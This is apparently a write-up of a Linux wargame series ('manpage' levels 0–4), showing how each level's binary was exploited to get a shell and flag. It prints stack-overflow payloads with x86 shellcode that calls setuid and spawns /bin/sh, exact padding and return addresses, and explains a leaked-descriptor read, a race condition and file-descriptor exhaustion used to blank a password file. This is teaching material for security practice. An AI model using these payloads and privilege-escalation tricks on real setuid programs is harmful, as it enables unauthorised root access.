This game is about breaking some common linux c-programming misconceptions. A good tactic when beginning to audit code for the first time is to read the manpages for pitfalls and unusual behavior. Many of these levels were inspired by the famous work of Ilja.
We can get the shell with ease when we put our shellcode in the
buf when executing
strcpy and return to that address. However, the
setuid( getuid() ); have taken away our privilege, we need to take it back.
The above assembly code can take our privilege back. It will execute syscall 23, which is
setuid with argument
0x4269, which is 17001, because the id of
manpage1 is 17001.
nasm -f elf setuid.asm,
ld -m elf_i386 -s -o setuid setuid.o, and
objdump -M intel -d setuid, we can get the shellcode
We find that we need 260 bytes paddings to control EIP. In buf, we can put the setuid shellcode and the shellcode to spawn /bin/sh. With
/manpage/manpage0 $(python -c 'print("\x90"*100+"\x31\xdb\x31\xc0\xb0\x17\x66\xbb\x69\x42 \xcd\x80"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69 \x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd \x80"+"A"*120+"\xd8\xd4\xff\xff")'), we can get the shell and the flag
Level 0 -> Level 1
In this challenge, we will trigger signal if we overflow the buffer. To pass this challenge, we need to use
signal(SIGTERM, SIG_IGN);, and we can ignore
We can find that we need 260 bytes paddings, so we put our shellcode in
buf and return to that address. We execute
./pwn $(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b \xcd\x80\x31\xc0\x40\xcd\x80"+"A"*132+"\x48\xdc\xff\xff")'), and we can get the shell and the flag
Level 1 -> Level 2
If the comparison fails, we cannot get the shell, we will lose our privilege, and the program will restart.
However, there is a bug in this program. That is, it did not close the file. What we can do is to make execl execute our own program, and we can use that program to read the opened file.
Below is the C program we are going to use to get our password. We use 3 for our file descripter (0 for stdin, 1 for stdout, 2 for stderr).
Then, we need a C program as wrapper to make
argv to our own C program mentioned above,
And finally, we can get our password
Level 2 -> Level 3
manpage3-reset. Here are the source code.
There is a file called
/manpage/manpage3_password. If we got its value, we can get the shell. However, it is very hard since it has 256 bytes random value.
In this challenge, we have two solutions with similar concepts.
First, we can treat it as a race condition.
For fwrite, it needs to delete its content first and write the content to the file. If we execute
/manpage3 luckily while keep executing
manpage3-reset, we can get
/manpage/manpage3_password contains an empty string.
ctrl-d as input for empty string, and we can get the shell after 2 to 4 tries.
Second, we can push to the limit of fopen. We can use
ulimit -n to check how many files can the process open. If we are getting to the limit,
/dev/urandom cannot be opened, and it will write empty string to
manpage3_password. That is, we can get the same result as solution 1.
What we can do is to use this script
ulimit -n gives me 1024, I use 1020 at the end because we need to give some quotas for loading shared libraries.
Finally, we can get the flag
Level 3 -> Level 4
This is a game called
Hunt the Wumpus, we have the instructions here.
We also got a file
Here’s the pseudocode when we decompile the program.
We can see that it adds function
log_winner and move away static array from
manpage4.diff. It can be a hint.
At last, I found that even though there are some length restrictions in
log_winner, if we can have our
lastname long enough, we can overflow EIP in
getnum, we can pass upto 2048 bytes to
inp, it is from the address
0xffffd688. And when we execute
lastname is at
0xffffd3a4, so the previous content in
inp can be reserved and treat as the content of
log_winner, we pass
CCCC. Later in
firstname will be set to
lastname will not be modified.
First, we need to find a seed which can let us win the game when we shoot 1 shot to room 1, we use this script and find seed = 22.
We put the shellcode on the environment variable
export SC=$(python -c 'print("\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62 \x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40 \xcd\x80")'). And its address is
After getting the seed number, we can get the shell by
(python -c 'print("N\nS\n1\n"+"1"+"A"*1303+"A"*209+"\x04\xdf\xff\xff\n" +"CCCC\n")'; cat) | /manpage/manpage4 -s 22. N for not show the instruction, S for shoot, first 1 for 1 room, the other 1 for room number 1, but we add lots of paddings after our room number.
We need 1303 bytes for
0xffffd3a4 - 0xffffce8c = 1304. 1303 plus the previous “1” is 1304. In
log_winner, the string
%s firstname:%s lastname: %s\n will be put to buf, which is at
$ebp - 0x100, ctime is 25 bytes, space for 1 byte, “firstname:” for 10 bytes, “CCCC” for 4 bytes, " lastname: " for 11 bytes, that is 51 bytes, plus 209 bytes paddings in %s from lastname, there are 260 bytes, and it cover the return address perfectly, the next 4 bytes “\x04\xdf\xff\xff” can cover up EIP.
And we can get the shell and the flag
Level 4 -> Level 5
Not done yet.